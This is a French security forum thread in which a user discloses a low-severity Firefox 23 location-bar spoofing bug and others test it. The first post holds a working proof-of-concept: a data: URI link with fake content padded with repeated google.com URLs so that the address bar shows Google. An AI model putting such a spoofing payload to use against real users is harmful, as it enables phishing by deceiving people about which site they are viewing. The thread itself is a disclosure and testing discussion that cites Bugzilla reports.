+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Questions (https://dev.n-pn.fr/forum/forumdisplay.php?fid=11)
+--- Forum : Security (https://dev.n-pn.fr/forum/forumdisplay.php?fid=24)
+--- Sujet : Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link (/showthread.php?tid=3259)
Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - j0-c - 12-08-2013
J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?
je poste quandmême un tout petit spoofing sur Mozilla Firefox 23 qui consiste en spoofer la barre de location avec une adresse de google mais un contenue fake(oui ba un spoofing quoi ;p ).
celui ci conciste a copier un lien et a l'exécuter dans la barre de location ,
L'erreur vient du fait que dans les dernieres version de mozilla c'est la fin de L'URL qui est afficher dans la location_bar quand celle ci est d'une certaine taille et quand bien sure celle-ci est collé puis exécuté dans la location_bar.
Citation :Code PHP :<a href="data:text/html;html,Im not google at all<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20https://www.google.com/__________________________-____">COPY THE LINK and paste in the location bar and go to it</a>
Mozilla vulnerability bug on bugzilla.mozilla.org :
https://bugzilla.mozilla.org/show_bug.cgi?id=903898
https://bugzilla.mozilla.org/show_bug.cgi?id=893312
Bon test à vous !
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - gruik - 13-08-2013
(12-08-2013, 22h38)j0-c a écrit : J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?
disons que le forum étant lui même soumis à acceptation ça en fait une partie plus ou moins private eyes, c'est plutôt la démarche en tant que professionnel de la sécurité que je saisis moins, mais je ne vais pas m'en plaindre
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - InstinctHack - 13-08-2013
Citation :Bon test à vous !os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.
(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - 0pc0deFR - 13-08-2013
Sous Windows 7 avec la version 23.0 de Firefox le bug est bien présent.
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - qtkt - 13-08-2013
(12-08-2013, 22h38)j0-c a écrit : J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?
[...]
Mozilla vulnerability bug on bugzilla.mozilla.org :
https://bugzilla.mozilla.org/show_bug.cgi?id=903898
https://bugzilla.mozilla.org/show_bug.cgi?id=893312
Pas vraiment une 0day vu que y'as un thread sur bugzilla...
Mais merci de l'avoir partagé !
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - j0-c - 13-08-2013
(13-08-2013, 01h01)InstinctHack a écrit :Citation :Bon test à vous !os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.
(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)
Comme le dit 0pcode sur windows 7 (quelque soit la version de windows enfait je pense) le bug est bien présent , ensuite j'ai pas tester sur mon ubuntu .
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - Stoned - 15-08-2013
Bien joué, en revenant aux problèmes de sécurités de Firefox, ça se résume en majorité des cas à des problèmes d'intégrations des scripts côté clients, et plus particulièrement Javascript qui n'arrête point de titiller l'oreille de notre très cher renard.
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - Polo - 18-08-2013
(13-08-2013, 01h01)InstinctHack a écrit :os : GNU/Linux ; ArchlinuxCitation :Bon test à vous !os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.
(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)
version : 23.0 de Firefox
Bizzare, parce-que moi j'ai bien le "bug" : seul le début de l'url s'affiche, alors qu'en toute logique il devrait tout m'afficher.
RE: Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link - gruik - 01-09-2013
déplacé dans la catégorie Security